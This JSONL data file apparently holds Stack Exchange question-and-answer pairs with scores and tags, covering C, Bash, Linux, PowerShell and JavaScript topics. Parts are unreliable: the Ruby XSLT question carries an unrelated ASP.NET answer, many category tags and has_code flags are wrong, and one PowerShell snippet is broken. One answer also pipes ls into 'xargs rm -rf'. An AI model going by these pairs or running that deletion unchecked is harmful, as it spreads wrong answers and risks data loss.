{"id": "hf_df13201f09ac", "question": "<p>How should I run another program from within my <code>C</code> program? I need to be able to write data into <code>STDIN</code> of the launched program (and maybe read from it's <code>STDOUT</code>)</p>\n\n<p>I am not sure if this is a standard C function. I need the solution that should work under Linux.</p>\n", "question_body": "", "answer": "You want to use\n```\npopen\n```\n. It gives you a unidirectional pipe with which you can access stdin and stdout of the program.\npopen is standard on modern unix and unix-like OS, of which Linux is one :-)\nType\n```\n```\nman popen\n```\n```\nin a terminal to read more about it.\nEDIT\nWhether\n```\npopen\n```\nproduces unidirectional or bidirectional pipes depends on the implementation. In\nLinux\nand\nOpenBSD\n,\n```\npopen\n```\nproduces unidirectional pipes, which are read-only or write-only. On\nOS X\n,\nFreeBSD\nand\nNetBSD\n```\npopen\n```\nproduces bidirectional pipes.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:39.468887"}
{"id": "hf_8b92699e7f7c", "question": "<p>for example this code</p>\n\n<pre><code>var html = \"&lt;p&gt;This text is &lt;a href=#&gt; good&lt;/a&gt;&lt;/p&gt;\";\nvar newNode = Builder.node('div',{className: 'test'},[html]);\n$('placeholder').update(newNode);\n</code></pre>\n\n<p>casues the p and a tags to be shown,  how do I prevent them from being escaped?</p>\n", "question_body": "", "answer": "The last parameter to Builder.node is \"Array, List of other nodes to be appended as children\" according to the\nWiki\n. So when you pass it a string it is treated like text.\nYou could use:\n```\n```\nvar a = Builder.node('div').update(\"<a href='#'>foo</a>\")\n```\n```\nWhere the link is text or:\n```\n```\nvar a = Builder.node('div', {'class':'cool'}, \n         [Builder.node('div', {'class': 'another_div'})]\n        );\n```\n```\nAnd you could use just Prototypes\nnew Element()\n(Available as of version 1.6).\n```\n```\nvar a = new Element('div').insert(\n          new Element('div', {'class': 'inner_div'}).update(\"Text in the inner div\")\n        );\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:39.649885"}
{"id": "hf_638be87edccf", "question": "<p>Currently I monitoring a particular file with a simple shell one-liner:</p>\n\n<pre><code>filesize=$(ls -lah somefile |  awk '{print $5}')\n</code></pre>\n\n<p>I'm aware that Perl has some nice modules to deal with Excel files so the idea is to, let's say, run that check daily, perhaps with cron, and write the result on a spreadsheet for further statistical use.</p>\n", "question_body": "", "answer": "You can use\nthe\n```\n-s\n```\noperator\nto obtain the size of a file and the\nSpreadsheet::ParseExcel\nand\nSpreadsheet::WriteExcel\nmodules to produce an updated spreadsheet with the information.\nSpreadsheet::ParseExcel::SaveParser\nlets you easily combine the two, in case you want to update an existing file with new information. If you are on Windows, you may want to automate Excel itself instead, probably with the aid of\nWin32::OLE\n.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:39.857605"}
{"id": "hf_f9c96a97db2e", "question": "<p>I want to delete all but the 4 newest directories in my parent directory. How would you do this in Bash?</p>\n", "question_body": "", "answer": "```\n```\nls -atrd */ | head --lines=-4 | xargs rm -rf\n```\n```\nEdit:\nadded 'a' argument to ls", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:40.037893"}
{"id": "hf_6c2912e2e623", "question": "<p>I'm trying to figure out how to detect the type of credit card based purely on its number. Does anyone know of a definitive, reliable way to find this?</p>\n", "question_body": "", "answer": "The credit/debit card number is referred to as a\nPAN\n, or\nPrimary Account Number\n.  The first six digits of the PAN are taken from the\nIIN\n, or\nIssuer Identification Number\n, belonging to the issuing bank (IINs were previously known as BIN — Bank Identification Numbers — so you may see references to that terminology in some documents).  These six digits are subject to an international standard,\nISO/IEC 7812\n, and can be used to determine the type of card from the number.\nUnfortunately the actual ISO/IEC 7812 database is not publicly available, however, there are unofficial lists, both commercial and free, including\non Wikipedia\n.\nAnyway, to detect the type from the number, you can use a regular expression like the ones below:\nCredit for original expressions\nVisa:\n```\n^4[0-9]{6,}$\n```\nVisa card numbers start with a 4.\nMasterCard:\n```\n^5[1-5][0-9]{5,}|222[1-9][0-9]{3,}|22[3-9][0-9]{4,}|2[3-6][0-9]{5,}|27[01][0-9]{4,}|2720[0-9]{3,}$\n```\nBefore 2016, MasterCard numbers start with the numbers 51 through 55,\nbut this will only detect MasterCard credit cards\n; there are other cards issued using the MasterCard system that do not fall into this IIN range.  In 2016, they will add numbers in the range (222100-272099).\nAmerican Express:\n```\n^3[47][0-9]{5,}$\n```\nAmerican Express card numbers start with 34 or 37.\nDiners Club:\n```\n^3(?:0[0-5]|[68][0-9])[0-9]{4,}$\n```\nDiners Club card numbers begin with 300 through 305, 36 or 38. There are Diners Club cards that begin with 5 and have 16 digits. These are a joint venture between Diners Club and MasterCard and should be processed like a MasterCard.\nDiscover:\n```\n^6(?:011|5[0-9]{2})[0-9]{3,}$\n```\nDiscover card numbers begin with 6011 or 65.\nJCB:\n```\n^(?:2131|1800|35[0-9]{3})[0-9]{3,}$\n```\nJCB cards begin with 2131, 1800 or 35.\nUnfortunately, there are a number of card types processed with the MasterCard system that do not live in MasterCard’s IIN range (numbers starting 51...55); the most important case is that of Maestro cards, many of which have been issued from other banks’ IIN ranges and so are located all over the number space.  As a result,\nit may be best to assume that any card that is not of some other type you accept must be a MasterCard\n.\nImportant\n: card numbers do vary in length; for instance, Visa has in the past issued cards with 13 digit PANs and cards with 16 digit PANs.  Visa’s documentation currently indicates that it may issue or may have issued numbers with between 12 and 19 digits.\nTherefore, you should not check the length of the card number, other than to verify that it has at least 7 digits\n(for a complete IIN plus one check digit, which should match the value predicted by\nthe Luhn algorithm\n).\nOne further hint:\nbefore processing a cardholder PAN, strip any whitespace and punctuation characters from the input\n.  Why?  Because it’s typically\nmuch\neasier to enter the digits in groups, similar to how they’re displayed on the front of an actual credit card, i.e.\n```\n```\n4444 4444 4444 4444\n```\n```\nis much easier to enter correctly than\n```\n```\n4444444444444444\n```\n```\nThere’s really no benefit in chastising the user because they’ve entered characters you don't expect here.\nThis also implies making sure that your entry fields have room for\nat least\n24 characters, otherwise users who enter spaces will run out of room.\nI’d recommend that you make the field wide enough to display 32 characters and allow up to 64; that gives plenty of headroom for expansion.\nHere's an image that gives a little more insight:\nUPDATE (2016):\nMastercard is to implement new BIN ranges starting\nAch Payment\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:40.192331"}
{"id": "hf_d7784f08fb58", "question": "<p>I want to search for files containing DOS line endings with grep on Linux.  Something like this:</p>\n<pre class=\"lang-sh prettyprint-override\"><code>grep -IUr --color '\\r\\n' .\n</code></pre>\n<p>The above seems to match for literal <code>rn</code> which is not what is desired.</p>\n<p>The output of this will be piped through xargs into todos to convert crlf to lf like this</p>\n<pre><code>grep -IUrl --color '^M' . | xargs -ifile fromdos 'file'\n</code></pre>\n", "question_body": "", "answer": "Use\nCtrl\n+\nV\n,\nCtrl\n+\nM\nto enter a literal Carriage Return character into your grep string. So:\n```\n```\ngrep -IUr --color \"^M\"\n```\n```\nwill work - if the\n```\n^M\n```\nthere is a literal CR that you input as I suggested.\nIf you want the list of files, you want to add the\n```\n-l\n```\noption as well.\nExplanation\n```\n-I\n```\nignore binary files\n```\n-U\n```\nprevents grep from stripping CR characters. By default it does this it if it decides it's a text file.\n```\n-r\n```\nread all files under each directory recursively.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:40.440981"}
{"id": "hf_9c21e225b077", "question": "<p>What do I need to add to my <code>.spec</code> file to create the desktop shortcut and assign an icon to the shortcut during install of my <code>.rpm</code>?  If a script is required, an example would be very helpful.</p>\n", "question_body": "", "answer": "You use a .desktop file for icons under linux.  Where to put the icon depends on what distribution and what desktop environment you are using.  Since I'm currently running Gnome on Fedora 9, I will answer it in those terms.\nAn example foo.desktop file would be:\n```\n```\n[Desktop Entry]\nEncoding=UTF-8\nGenericName=Generic Piece Of Software\nName=FooBar\nExec=/usr/bin/foo.sh\nIcon=foo.png\nTerminal=false\nType=Application\nCategories=Qt;Gnome;Applications;\n```\n```\nThe .desktop file should under Fedora 9 Gnome be located in /usr/share/applications/ , you can run a locate on .desktop to figure out where you should put in on your distro.  Gnome will generally look in the KDE icon directory to see if there are other icons there also....\nEncoding, Name and Exec should speak for themselves.\nGeneric name == Brief Description of application.\nIcon == The image to display for the icon\nTerminal == Is this a terminal application, should I start it as one?\nType == Type of program this is, can be used in placing the icon in a menu.\nCategories == This information is what is mainly used to place the icon in a given menu if an XML file to specify such is not present.  The setup for menus is handled a little differently by everyone.\nThere are more attributes you can set, but they aren't strictly necessary.\nThe image file used sits somewhere in the bowels of the /usr/share/icons/ directory.  You can parse through that to find all the wonders of how such things work, but the basics are that you pick the directory for the icon type (in my case gnome) and place the image within the appropriate directory (there is a scalable directory for .svg images, and specific sizes such as 48x48 for raster images.  Under Gnome all images are generally .png).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:40.624281"}
{"id": "hf_14dc54e77baf", "question": "<p>I would like to avoid using native libaries if at all possible.  Surely there is a better way to solve this issue for Linux, Windows and Mac OS X.</p>\n", "question_body": "", "answer": "You can use the Java Sound API.  I believe this is part of java 5.  This may allow you to do what you want to do.\nhttp://java.sun.com/products/java-media/sound/\nhere are some examples:\nhttp://www.jsresources.org/examples/", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:40.827842"}
{"id": "hf_5ff4a3d116bf", "question": "<p>I recently was working with a subversion project that checked out code not only from the repository I was working with, but also from a separate repository on a different server.</p>\n\n<p>How can I configure my repository to do this?</p>\n\n<p>I'm using the subversion client version 1.3.2 on Linux, and I also have access to TortoiseSVN version 1.4.8 (built on svn version 1.4.6) in Windows.</p>\n", "question_body": "", "answer": "See\nsvn:externals\n:\nSometimes it is useful to construct a working copy that is made out of a number of different checkouts. For example, you may want different subdirectories to come from different locations in a repository, or perhaps from different repositories altogether. You could certainly setup such a scenario by hand—using\n```\nsvn checkout\n```\nto create the sort of nested working copy structure you are trying to achieve. But if this layout is important for everyone who uses your repository, every other user will need to perform the same checkout operations that you did.\nFortunately, Subversion provides support for\nexternals definitions\n. An externals definition is a mapping of a local directory to the URL—and possibly a particular revision—of a versioned resource. In Subversion, you declare externals definitions in groups using the\n```\nsvn:externals\n```\nproperty. You can create or modify this property using\n```\nsvn propset\n```\nor\n```\nsvn propedit\n```\n(see\nthe section called “Why Properties?”\n). It can be set on any versioned directory, and its value is a multi-line table of subdirectories (relative to the versioned directory on which the property is set) and fully qualified, absolute Subversion repository URLs...", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:40.988359"}
{"id": "hf_30fb6a04136f", "question": "<p>In PowerShell I'm reading in a text file. I'm then doing a Foreach-Object over the text file and am only interested in the lines that do NOT contain strings that are in <code>$arrayOfStringsNotInterestedIn</code>.</p>\n\n<p>What is the syntax for this?</p>\n\n<pre><code>   Get-Content $filename | Foreach-Object {$_}\n</code></pre>\n", "question_body": "", "answer": "You can use the -notmatch operator to get the lines that don't have the characters you are interested in.\n```\n```\nGet-Content $FileName | foreach-object { \n     if ($_ -notmatch $arrayofStringsNotInterestedIn) { $) }\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:41.141439"}
{"id": "hf_2b38712af304", "question": "<p>When running any kind of server under load there are several resources that one would like to monitor to make sure that the server is healthy.  This is specifically true when testing the system under load.</p>\n\n<p>Some examples for this would be CPU utilization, memory usage, and perhaps disk space.\nWhat other resource should I be monitoring, and what tools are available to do so?</p>\n", "question_body": "", "answer": "I typically watch\n```\ntop\n```\nand\n```\ntail -f /var/log/auth.log\n```\n.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:41.254832"}
{"id": "hf_bffdad4b9831", "question": "<p>I know something about Java but completely new to Enterprise Java. I'm trying my hand with NetBeans 6.1 and GlassFish Application Server. \nPlease guide me to some resources which tell me actually what java enterprise applications are, how they are different from normal java classes etc. </p>\n\n<p>Also which is the best application server to use (on Linux)?</p>\n", "question_body": "", "answer": "The Java EE 5 Tutorial\n- read online or as pdf\nEJB 3 in Action\n- great book that covers everything you need to know\nI have also recently started with Java EE and I have only used Glassfish/Sun Application Server so far, but from what I understad from my colleagues at work and what I have seen so far Glassfish seems to be the the best choice at the moment.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:41.364998"}
{"id": "hf_c37d42a1360a", "question": "<p>In C/C++, what an <code>unsigned char</code> is used for? How is it different from a regular <code>char</code>?</p>\n", "question_body": "", "answer": "This is implementation dependent, as the C standard does NOT define the signed-ness of\n```\nchar\n```\n.  Depending on the platform, char may be\n```\nsigned\n```\nor\n```\nunsigned\n```\n, so you need to explicitly ask for\n```\nsigned char\n```\nor\n```\nunsigned char\n```\nif your implementation depends on it.  Just use\n```\nchar\n```\nif you intend to represent characters from strings, as this will match what your platform puts in the string.\nThe difference between\n```\nsigned char\n```\nand\n```\nunsigned char\n```\nis as you'd expect.  On most platforms,\n```\nsigned char\n```\nwill be an 8-bit two's complement number ranging from\n```\n-128\n```\nto\n```\n127\n```\n, and\n```\nunsigned char\n```\nwill be an 8-bit unsigned integer (\n```\n0\n```\nto\n```\n255\n```\n).  Note the standard does NOT require that\n```\nchar\n```\ntypes have 8 bits, only that\n```\nsizeof(char)\n```\nreturn\n```\n1\n```\n.  You can get at the number of bits in a char with\n```\nCHAR_BIT\n```\nin\n```\nlimits.h\n```\n.  There are few if any platforms today where this will be something other than\n```\n8\n```\n, though.\nThere is a nice summary of this issue\nhere\n.\nAs others have mentioned since I posted this, you're better off using\n```\nint8_t\n```\nand\n```\nuint8_t\n```\nif you really want to represent small integers.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:41.506289"}
{"id": "hf_a245c652e921", "question": "<p>Can anyone recommend an efficient method to execute XSLT transforms of XML data within a Ruby application? The XSL gem (REXSL) is not available yet, and while I have seen a project or two that implement it, I'm wary of using them so early on. A friend had recommended a shell out call to Perl, but I'm worried about resources. </p>\n\n<p>This is for a linux environment.</p>\n", "question_body": "", "answer": "Try setting your ScriptManager to this.\n```\n```\n<asp:ScriptManager ID=\"ScriptManager1\" runat=\"server\" EnablePartialRendering=\"true\" />\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:41.633431"}
{"id": "hf_f63411bb6b8b", "question": "<p>I'm looking mainly at things like new SQL syntax, new kinds of locking, new capabilities etc. Not so much in the surrounding services like data warehousing and reports...</p>\n", "question_body": "", "answer": "New separate types for Date and Time, instead of just Datetime\nNew geographic types for lattitude/longitude\nChange Data Capture is pretty neat if you're doing anything where auditing is important\nConfiguration Servers, for maintaining multiple databases.\nThat's what caught my attention at the Heroes Happen Here launch back in April.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:41.749812"}
{"id": "hf_a9257500cd3f", "question": "<p>I see that within MySQL there are <code>Cast()</code> and <code>Convert()</code> functions to create integers from values, but is there any way to check to see if a value is an integer?  Something like <code>is_int()</code> in PHP is what I am looking for.</p>\n", "question_body": "", "answer": "Match it against a regular expression.\nc.f.\nhttp://forums.mysql.com/read.php?60,1907,38488#msg-38488\nas quoted below:\nRe: IsNumeric() clause in MySQL??\nPosted by: kevinclark ()\nDate: August 08, 2005 01:01PM\nI agree. Here is a function I created for MySQL 5:\n```\n```\nCREATE FUNCTION IsNumeric (sIn varchar(1024)) RETURNS tinyint\nRETURN sIn REGEXP '^(-|\\\\+){0,1}([0-9]+\\\\.[0-9]*|[0-9]*\\\\.[0-9]+|[0-9]+)$';\n```\n```\nThis allows for an optional plus/minus sign at the beginning, one optional decimal point, and the rest numeric digits.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:41.893257"}
{"id": "hf_a1da2b9320c4", "question": "<p>How do I move an active directory group to another organizational unit using Powershell?</p>\n\n<p>ie.</p>\n\n<p>I would like to move the group \"IT Department\" from:</p>\n\n<pre><code>  (CN=IT Department, OU=Technology Department, OU=Departments,DC=Company,DC=ca)\n</code></pre>\n\n<p>to:</p>\n\n<pre><code>  (CN=IT Department, OU=Temporarily Moved Groups, DC=Company,DC=ca)\n</code></pre>\n", "question_body": "", "answer": "I haven't tried this yet, but this should do it..\n```\n```\n$objectlocation= 'CN=IT Department, OU=Technology Department, OU=Departments,DC=Company,DC=ca'\n$newlocation = 'OU=Temporarily Moved Groups, DC=Company,DC=ca'\n\n$from = new-object System.DirectoryServices.DirectoryEntry(\"LDAP://$objectLocation\")\n$to = new-object System.DirectoryServices.DirectoryEntry(\"LDAP://$newlocation\")\n$from.MoveTo($newlocation,$from.name)\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:42.104635"}
{"id": "hf_1c689e3b49d0", "question": "<p>I'm writing a Java application that runs on Linux (using Sun's JDK). It keeps creating <code>/tmp/hsperfdata_username</code> directories, which I would like to prevent. Is there any way to stop java from creating these files?</p>\n", "question_body": "", "answer": "EDIT: Cleanup info and summarize\nSummary:\nIts a feature, not a bug\nIt can be turned of with -XX:-UsePerfData which might hurt performance\nRelevant info:\nSun forum\nBugreport", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:42.233076"}
{"id": "hf_aec8a0236b83", "question": "<p>Flex uses by default UTF-8. I have not fount a way to specify a different encoding/charset on the actionscript WebService class.</p>\n", "question_body": "", "answer": "Ummm, look here:\nhttp://www.adobe.com/devnet/flex/articles/struts_06.html\nI think that sample implies that declaring your mxml file as iso-8859-1 might do the trick, but I really don't think so.\nI might be wrong but as far as I know the Flash player only handles UTF-8 encoding. I've searched for a link to an official page saying so, but couldn't find it.\nIf that's the case you either:\na) update the webservice to handle UTF-8 encoding\nb) if that's not possible, proxy your call to your own webservice that accepts UTF-8 and then call the actual one.\nYou might want to give a go to the old system.useCodepage=true trick BUT that didn't use to work when the user was on Linux or Mac, USE WITH CARE!", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:42.420296"}
{"id": "hf_6768d8808c9e", "question": "<p>Is it possible to sign only part of an applet?  Ie, have an applet that pops up no security warnings about being signed, but if some particular function is used (that requires privileges) then use the signed jar?</p>\n\n<p>From what I can tell, some (perhaps most) browsers will pop up the warning for a signed applet even if you don't request privileges at all at execution time.  I'd rather avoid that if possible.</p>\n", "question_body": "", "answer": "I've been given the impression that Sun wants to discourage the creation of Applets and encourage the usage of Java Web Start.  I think this issue of signing applets is part of the problem.  See this documentation from Sun:\nJava Web start FAQ\n.\nI haven't tried this, but could you segment the features that need signing into separate jars that only require permission checks when the user needs the functionality in those jars?", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:42.647067"}
{"id": "hf_68f0910796cb", "question": "<p>Does anyone know of any resources that talk about best practices or design patterns for shell scripts (sh, bash etc.)?</p>\n", "question_body": "", "answer": "Easy:\nuse python instead of shell scripts.\nYou get a near 100 fold increase in readablility, without having to complicate anything you don't need, and preserving the ability to evolve parts of your script into functions, objects, persistent objects (zodb), distributed objects (pyro) nearly without any extra code.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:42.959127"}
{"id": "hf_d23955562969", "question": "<p>In perl one would simply do the following to store and iterate over a list of names</p>\n\n<pre><code>my @fruit = (apple, orange, kiwi);\nforeach (@fruit) {\n        print $_;\n}\n</code></pre>\n\n<p>What would the equivalent be in bash?</p>\n", "question_body": "", "answer": "```\nfor i in apple orange kiwi\ndo\n  echo $i\ndone\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:43.065143"}
{"id": "hf_95bd82eb0a1f", "question": "<p>I have a cross platform app and for my Linux and Mac versions it generates a postscript file for printing reports and then prints them with CUPS. It works for simple characters and images but I would like to have the ability to embed a true type font directly into the postscript file. Does anyone know how to do this?? \nAlso I can encode simple ascii characters but I'm not sure how to encode any characters beyond the usual a-z 0-9, things like foreign characters with accents.</p>\n", "question_body": "", "answer": "In order to embed a TrueType font in a Postscript document, you will first need to convert it to a Type 42 font. This conversion turns the font into postscript code.\nThere are several small utilities for doing this conversion, or you can read\nthe\nType 42 specification\nand write\nyour own code for it.\nEmbedding Type 1 fonts is a lot easier. Linux ships with a large set of Type 1 fonts, and so does OS X if you have X11 installed. Generating PDF instead is also an option you may want to look into, since PDF can embed TrueType fonts directly.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:43.212330"}
{"id": "hf_aa512ac7984a", "question": "<p>Is there an equivalent to Java's Robot class (java.awt.Robot) for Perl?</p>\n", "question_body": "", "answer": "There is on Linux/Unix:\nhttp://sourceforge.net/projects/x11guitest\nI'm not familiar of anything similar for Windows or Mac that uses Perl.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:43.520320"}
{"id": "hf_1b0908fc627c", "question": "<p>Which is the best mocking library for C# 3.0/ ASP.NET MVC? Why?</p>\n", "question_body": "", "answer": "Moq\nIt's amazing, fully supports the new language features of C# 3.0 and it's very easy to get going with.  I would highly recommend it.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:43.631701"}
{"id": "hf_86f10df7a6f4", "question": "<p>In C, using the standard Windows API, what is the best way to read an unformatted disk? Specifically, I have an <a href=\"http://en.wikipedia.org/wiki/MultiMediaCard\" rel=\"nofollow noreferrer\">MMC</a> or <a href=\"http://en.wikipedia.org/wiki/Secure_Digital_card\" rel=\"nofollow noreferrer\">SD card</a> with data, but no file system (not FAT16, not FAT32, just raw data). If there was a simple way to open the entire card for byte by byte binary access, that would be great.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You have to open the device file with\nCreateFile\nand then use\nReadFile\n/\nreadFileEx\n. Don't forget to close the file with\nCloseHandle", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:43.748490"}
{"id": "hf_ad7b923156b1", "question": "<p>We're using the Eclipse CDT 5 C++ IDE on Windows to develop a C++ application on a remote AIX host. </p>\n\n<p>Eclipse CDT has the ability to perform remote debugging using gdbserver. Unfortunately, gdbserver is not supported on AIX. </p>\n\n<p>Is anyone familiar with a way to debug remotely using Eclipse CDT without gdbserver? Perhaps using an SSH shell connection to gdb?</p>\n", "question_body": "", "answer": "I wouldn't normally take a shot in the dark on a question I can't really test the answer to, but since this one has sat around for a day, I'll give it a shot.  It seems from looking at:\nhttp://wiki.eclipse.org/TM_and_RSE_FAQ#How_can_I_do_Remote_Debugging_with_CDT.3F\n...that even if the CDT has changed since that wiki page was made, you should still be able to change the debug command to:\nssh remotehost gdb\ninstead of using TM which uses gdbserver.  This will probably be slightly slower than the TM remote debugging since that actually uses a local gdb, but on the other hand this way you won't have to NFS or SMB mount your source code to make it available to the local debugger (and if you're on a LAN it probably won't matter anyhow).\nThere's also a reference TCF implementation for linux, which you may or may not have any luck recompiling for AIX, but it allows for remote debugging if gdbserver is otherwise not available:\nhttp://wiki.eclipse.org/DSDP/TM/TCF_FAQ", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:44.017585"}
{"id": "hf_16e258066c06", "question": "<p>Why does the linux kernel generate a segfault on stack overflow? This can make debugging very awkward when alloca in c or fortran creation of temporary arrays overflows. Surely it mjust be possible for the runtime to produce a more helpful error.</p>\n", "question_body": "", "answer": "The \"kernel\" (it's actually not the kernel running your code, it's the CPU) doesn't know how your code is referencing the memory it's not supposed to be touching.  It only knows that you tried to do it.\nThe code:\n```\n```\nchar *x = alloca(100);\nchar y = x[150];\n```\n```\ncan't really be evaluated by the CPU as you trying to access beyond the bounds of x.\nYou may hit the exact same address with:\n```\n```\nchar y = *((char*)(0xdeadbeef));\n```\n```\nBTW, I would discourage the use of alloca since stack tends to be much more limited than heap (use malloc instead).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:44.172815"}
